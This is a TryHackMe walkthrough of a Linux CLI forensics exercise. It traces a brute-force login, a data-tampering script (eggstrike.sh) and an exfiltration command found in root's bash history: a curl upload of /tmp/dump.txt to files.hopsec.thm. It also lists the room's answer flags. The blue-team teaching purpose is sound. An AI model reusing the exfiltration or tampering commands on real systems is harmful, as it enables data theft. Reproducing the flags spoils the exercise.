🐧 Linux CLI Investigation – Step-by-Step Walkthrough

📌 Objective

Investigate a compromised Linux server using CLI commands, identify attacker activity, and retrieve flags.

🔎 Step 1: Understand the Environment

🧠 Goal:

Since there is **no GUI**, we rely completely on CLI.

✅ Run:

echo "Hello World!"

💡 Explanation:

- `echo` prints text to the terminal.
- Used to verify CLI is working.

📂 Step 2: List Files in Current Directory

✅ Run:

ls

💡 Explanation:

- `ls` lists files and directories.

- Output shows:

Desktop Downloads Guides README.txt

📖 Step 3: Read Important File

✅ Run:

cat README.txt

💡 Explanation:

- `cat` displays file contents.
- Found clue:
  - A **security guide exists**
  - It is **hidden**

📍 Step 4: Check Current Directory

✅ Run:

pwd

💡 Explanation:

- Shows current location:

/home/mcskidy

📁 Step 5: Navigate to Guides Directory

✅ Run:

cd Guides

💡 Explanation:

- `cd` = change directory
- Moves into:

/home/mcskidy/Guides

👀 Step 6: Check for Files

✅ Run:

ls

💡 Result:

- No visible files

🕵️ Step 7: Reveal Hidden Files

✅ Run:

ls -la

💡 Explanation:

- `-a` → show hidden files
- `-l` → detailed view

📌 Output:

.guide.txt

📜 Step 8: Read Hidden Guide

✅ Run:

cat .guide.txt

💡 Key Insight:

- Investigate logs in:

/var/log

- Use `grep`
- Look for suspicious activity

📊 Step 9: Navigate to Logs Directory

✅ Run:

cd /var/log
ls

🔍 Step 10: Analyze Failed Logins

✅ Run:

grep "Failed password" auth.log

💡 Explanation:

- `grep` filters text inside files
- Found:
  - Multiple failed logins
  - Target user: `socmas`

    - Source: `HopSec`

🚨 Conclusion:

- Possible brute-force attack

🧭 Step 11: Search for Suspicious Files

✅ Run:

find /home/socmas -name "*egg*"

💡 Explanation:

- `find` searches files
- `*egg*` matches anything containing "egg"

📌 Result:

/home/socmas/2025/eggstrike.sh

🧪 Step 12: Analyze Suspicious Script

✅ Run:

cd /home/socmas/2025
cat eggstrike.sh

🔍 Script Breakdown

cat wishlist.txt | sort | uniq > /tmp/dump.txt

➡️ Extracts unique wishlist items and stores in `/tmp/dump.txt`

rm wishlist.txt

➡️ Deletes original data

mv eastmas.txt wishlist.txt

➡️ Replaces real data with fake data

🚨 Impact:

- Data Theft (Exfiltration)
- Data Manipulation
- Service Integrity Compromise

🔐 Step 13: Switch to Root User

✅ Run:

sudo su
whoami

💡 Explanation:

- `sudo su` → switch to root
- `whoami` → verify user

📜 Step 14: Check Bash History

✅ Run:

cd /root
cat .bash_history

🚨 Suspicious Commands Found:

curl --data "@/tmp/dump.txt" http://files.hopsec.thm/upload

💡 Explanation:

- `curl` used to send data to external server
- `/tmp/dump.txt` = stolen data

➡️ **CONFIRMED: Data Exfiltration Attack**

🏁 Flags Obtained

Task	Flag
CLI Basics	THM{learning-linux-cli}
Log Analysis	THM{sir-carrotbane-attacks}
Bash History	THM{until-we-meet-again}

🎯 Final Conclusion

🔴 Attack Summary:

- Brute-force login attempts
- Malicious script execution
- Data theft via `curl`
- Replacement of legitimate data

🧠 Key Learnings

- CLI is essential for cybersecurity investigations
- Logs reveal attacker behavior
- Hidden files often contain critical clues
- Bash history is a goldmine for forensics
- Shell scripts can automate attacks

🚀 Next Steps

- Practice `grep`, `awk`, `sed`
- Learn SIEM tools (Splunk, Wazuh)
- Automate log analysis with Python

🙌 Credits

- Platform: TryHackMe
- Focus: Linux CLI + Blue Team Investigation

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